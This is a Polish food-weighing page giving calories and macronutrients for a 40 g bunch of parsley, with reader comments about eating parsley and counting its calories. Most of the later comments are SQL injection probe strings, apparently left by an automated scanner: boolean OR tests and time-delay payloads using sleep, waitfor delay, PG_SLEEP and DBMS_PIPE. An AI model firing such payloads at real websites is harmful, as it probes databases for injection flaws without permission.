Pęczek natki pietruszki
Pęczek natki pietruszki waży 40 g.
| 100g | na zdjęciu (40 g) | |
|---|---|---|
| Energia | 49 kcal | 20 kcal |
| Białko | 4,4 g | 1,8 g |
| Tłuszcz | 0,4 g | 0,2 g |
| Kwasy tłuszczowe nasycone | 0,0 g | 0,0 g |
| Węglowodany | 4,8 g | 1,9 g |
| Błonnik | 4,2 g | 1,7 g |
| Sól | 0,1 g | 0,0 g |
Natka pietruszki - pęczek kalorie w 100g: 49kcal
Zobacz więcej: pęczek natka pietruszki 40g
Ostatnia aktualizacja: 2024.08.19
Ważenie dodano: 2017.07.27 w kategorii Warzywa i ich przetwory
Dzienne zapotrzebowanie 
Porcja ze zdjęcia
dla 2000 kcal
pokaż dla mojego zapotrzebowania
-
Cztery gałązki natki pietruszki karbowanej -
Łyżeczka natki pietruszki -
Pęczek natki pietruszki karbowanej -
Porcja dyni i papryki w zalewie curry -
Garść podgrzybków -
Pietruszka korzeń -
Koktajl owocowo-warzywny Fitella z chia -
Garść zielonych papryczek chili -
Porcja koktajlu Warzyw Kubek Odporność -
Zielona papryczka chili -
Łyżeczka ketchupu ze stewią -
Szklanka napoju Kubuś zielony banan kiwi
Mamy 60 opinii na temat ważenia - napisz własną
-
Izabela[autor ilewazy.pl] 2017/07/27 12:20Przyznam szczerze, że częstotliwość spożywania natki pietruszki zmniejszyła się u nas z racji pojawiania się na rynku przeróżnych odmian kiełków, ziół w doniczkach, rukoli itp... A w dzieciństwie dominowała właśnie natka pietruszki, często hodowana na kuchennym parapecie :) Jestem ciekawa, jak to wygląda obecnie u Was ?
-
U mnie na zmianę pietruszka z kiełkami słonecznika i brokuła, koperkiem i szczypiorem :) W lecie jem jej nadal bardzo dużo ze względu na to, że rośnie w ogródku. A z bardziej sałatowatych to króluje roszponka :) A i ostatnio kupiłam też liście groszku, też pyszne.
-
Zjadam ale nigdy nie liczyłam kcal o_o wydaje sie to troche dziwne..przeciez to rosnie, jest zielone, i wyglda jak trawa XD szczerze..bylam zaskoczona ze ma "az" 49 kcal- jak na trawe- calkiem "sporo" :D
-
@aya jeśli używasz odrobinę posiekanej natki do kanapki to kalorycznie nie ma to większego znaczenia. Natomiast cześć osób przygotowując całe danie np. z pęczkiem natki pietruszki może skorzystać z tego ważenia. Plus dodatkowo wchodzi w grę białko, węglowodany i błonnik z takiej ilości natki.
-
hmm..no bo to jest tak: w mojej diecie zwazam na proporcje makro. Ale mam jedna zasade: nie licze zadnych kcal ani BWT z zielonych warzyw..a co dopiero z czegos co ma galazke i liscie :D przygotowuje koktajle na bazie pietruszki ktorej laduje tam hmm calkiem sporo ;) nie wliczam jej nigdy do bilansu.
-
@aya z jednej strony nie jestem za rygorystycznym liczeniem kalorii, z drugiej zaś istnieje coś takiego jak margines bezwiedności, który bywa zdradliwy szczególnie na diecie redukcyjnej:
http://www.ilewazy.pl/porady/margines-bezwiednosci-bledy-w-diecie-ktorych-nie-zauwazasz
Wszystko zależy od tego jak bardzo zależy Ci na dokładności. -
Jasne. Ale nie uwazam zeby 100 w nadstanie ( pochadzacych z pietruszki (!..jak to wgle brzmi o_0) mialo wplyw na moje dietetyczne efekty . A jestem na redukcji i chudnę ( 8 kg w 3 mce ..no i nie wliczam tej pietruchy nieszczesnej w dobowa ilosc kcal ;] )
-
555
-
555
-
555
-
555UspA94J5
-
555
-
-1 OR 2+557-557-1=0+0+0+1 --
-
-1 OR 2+208-208-1=0+0+0+1
-
-1' OR 2+235-235-1=0+0+0+1 --
-
-1' OR 2+313-313-1=0+0+0+1 or 'g9n24r7N'='
-
-1" OR 2+895-895-1=0+0+0+1 --
-
555*if(now()=sysdate(),sleep(15),0)
-
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
-
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
-
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
555-1; waitfor delay '0:0:15' --
-
555-1); waitfor delay '0:0:15' --
-
555-1 waitfor delay '0:0:15' --
-
5558yLbGQq9'; waitfor delay '0:0:15' --
-
555-1 OR 980=(SELECT 980 FROM PG_SLEEP(15))--
-
555-1) OR 593=(SELECT 593 FROM PG_SLEEP(15))--
-
555-1)) OR 191=(SELECT 191 FROM PG_SLEEP(15))--
-
5551FpOIine' OR 37=(SELECT 37 FROM PG_SLEEP(15))--
-
555cFPjfiss') OR 832=(SELECT 832 FROM PG_SLEEP(15))--
-
555WbZUSVBA')) OR 200=(SELECT 200 FROM PG_SLEEP(15))--
-
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
555
-
555'"
-
555%2527%2522'"
-
@@lRMRF
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
Dodaj komentarz na temat ważenia
Oceń smak i właściwości produktu. Podziel się ciekawym przepisem, napisz jak wykorzystujesz go w kuchni. Jeśli produkt jest dla Ciebie nowością nie krępuj się pytać o sposób przyrządzania czy dostępność.
Możesz dodać komentarz jako niezalogowany lub zaloguj się albo zarejestuj aby w pełni korzystać z ileważy.pl